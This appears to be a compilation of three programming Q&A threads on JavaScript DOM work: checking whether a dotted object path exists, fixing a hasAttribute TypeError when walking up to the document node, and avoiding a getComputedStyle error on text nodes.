How to check if object.subobject.subsubobject exists or not in javascript?

The hierarchy can be very deep, So how to check if the a property exists somewhere within the root object ? If not then create it.
I have the following html
<div id="container">
<div id="level-1">
<input id="value-1" group="a.b" name="c" value="some-value-1">
</div>
</div>
Now i would like to put the value of this input into a javascript object based on the parent attribute.
Desired output is
{
"a" : {
"b" : {
"c" : "some-value-1"
}
}
}
My Effort :
function traverse(id, obj) {
var methodName = "traverse";
var elementToTraverse = document.getElementById(id);
var currentElementLength = elementToTraverse.childNodes.length;
if (currentElementLength > 0) {
var children = getChildNodes(elementToTraverse);
for (var ch in children) {
var currentChild = children[ch];
//ignore the text nodes
if (currentChild.nodeType == 3) {
continue;
}
if (currentChild.nodeType == 1 && currentChild.childNodes.length > 0 && currentChild.id != "") {
//call without the object argument as it has already been constructed.
traverse(currentChild.id, obj);
}
else if (currentChild.nodeType == 1 && currentChild.id != "" && currentChild.getAttribute('name') != null) {
if (DEBUG) {
logOnConsole(methodName, currentChild.getAttribute('name') + "--" + currentChild.id, logLevel.INFO);
}
var group = currentChild.getAttribute('group') || null;
var name = currentChild.getAttribute('name');
var value = getValue(currentChild);
if (value == "" || value == undefined) {
if(group){
if(isNull(obj[group])){
obj[group] = new Object();
}
obj[group][name] = "";
}
else{
obj[name] = "";
}
}
else if(group){
if(isNull(obj[group])){
obj[group] = new Object();
}
obj[group][name] = value;
}
else {
obj[name] = value;
}
}
else {
if (DEBUG) {
logOnConsole(methodName, "Element not useful. \n" + currentChild.nodeName, logLevel.INFO);
}
}
}
}
return obj;
}
I call it via traverse('container-id', new Object()) but this will work for a single value in the group rather than a nested structure.

Try this
function isExist(obj, path) {
patharray = path.split(".");
for(var i=0;i < patharray.length; i++) {
obj = obj[patharray[i]];
if(obj === undefined) return false
}
return true;
}
document.body.innerHTML = isExist({subobject:{subsubobject:{test: 34}}}, 'subobject.subsubobject');

Undefined error when trying to identify descendant of parent using hasAttribute

I'm trying to determine if an element is a descendant of another elect that has a specific attribute. So far, I have no issue when the value is true, but I get TypeError: undefined is not a function (evaluating 'node.hasAttribute(attribute)') when hasAttribute is false. Any ideas?
document.body.addEventListener('touchmove', function(event) { stopScroll(event); });
var stopScroll = function(event) {
var target = event.target;
var parent = target.parentNode;
if (isDescendantOf.attribute('data-scroll', target)) {
} else {
event.preventDefault();
}
};
var isDescendantOf = {};
isDescendantOf.parent = function(parent, child) {
var node = child.parentNode;
while (typeof node !== 'undefined') {
if (node == parent) {
return true;
}
node = node.parentNode;
}
return false;
};
isDescendantOf.tag = function(tag, child) {
var node = child.parentNode;
while (typeof node !== 'undefined') {
if (node.tagName == tag) {
return true;
}
node = node.parentNode;
}
return false;
};
isDescendantOf.attribute = function(attribute, child) {
var node = child.parentNode;
while (node !== null) {
console.log(typeof node);
if (node.hasAttribute(attribute) === true) {
return true;
}
node = node.parentNode;
}
return false;
};
Here's the fiddle, though it acts even weirder for some reason: http://jsfiddle.net/x95tgmkn/

Your loop goes from the child.parentNode up to the document, and on each node it uses the hasAttribute method of the Element interface. However, Documents are plain Nodes that do not implement this interface.
Change your condition to
while (node != null && node.nodeType == 1)
or node.nodeType != 9 or typeof node.hasAttribute == "function".

Getting Error: Could not convert JavaScript argument arg 0 [nsIDOMWindow.getComputedStyle]

I have a bit of javascript code to find and replace text into an image. I then gather the font size of the original text and use that to set the size of the new image.
Problem is, I keep getting the error: Could not convert JavaScript argument arg 0 [nsIDOMWindow.getComputedStyle]
Code:
function findAndReplace(searchText, replacement, searchNode) {
if (!searchText || typeof replacement === 'undefined') {
// Throw error here if you want...
return;
}
var regex = typeof searchText === 'string' ?
new RegExp(searchText, 'g') : searchText,
childNodes = (searchNode || $("body").get(0)).childNodes,
excludes = 'html,head,style,title,link,meta,script,object,iframe';
var cnLength = childNodes.length;
while (cnLength--) {
var currentNode = childNodes[cnLength];
if (currentNode.nodeType === 1 &&
(excludes + ',').indexOf(currentNode.nodeName.toLowerCase() + ',') === -1) {
arguments.callee(searchText, replacement, currentNode);
}
if (currentNode.nodeType !== 3 || !regex.test(currentNode.data) ) {
continue;
}
var parent = currentNode.parentNode;
var frag = (function(){
var html = currentNode.data.replace(regex, replacement);
var wrap = document.createElement('div');
var frag = document.createDocumentFragment();
wrap.innerHTML = html;
while (wrap.firstChild) {
frag.appendChild(wrap.firstChild);
}
console.log(currentNode);
var jQNode = $(currentNode);
console.log("yay");
// var fontSize = jQNode.css('font-size');
if (!currentNode || currentNode == document) currentNode = document.body
var fontSize = getStyle(currentNode, 'font-size');
console.log("tast");
var heightPixels = fontSizeToPixels(fontSize);
$(".InLogo",frag).each(function(){
$(this).css("height", heightPixels+"px");
});
return frag;
})();
parent.insertBefore(frag, currentNode);
parent.removeChild(currentNode);
}
}
function getStyle(el,styleProp) {
var camelize = function (str) {
return str.replace(/\-(\w)/g, function(str, letter){
return letter.toUpperCase();
});
};
if (el.currentStyle) {
return el.currentStyle[camelize(styleProp)];
} else if (document.defaultView && document.defaultView.getComputedStyle) {
return document.defaultView.getComputedStyle(el,null)
.getPropertyValue(styleProp);
} else {
return el.style[camelize(styleProp)];
}
}
The error occurs at this line return document.defaultView.getComputedStyle(el,null).getPropertyValue(styleProp); of getStyle()

something.childNodes includes textNodes as well as Elements, and that's a problem for the getStyle() function.
Nodes don't have a style (Elements do), so who knows what will happen when you feed getStyle something that has .data; a plain Node.
Check for the existence of style to avoid the run-time error:
FIX:
var fontSize = currentNode.style ? getStyle(currentNode, 'font-size') : 0;

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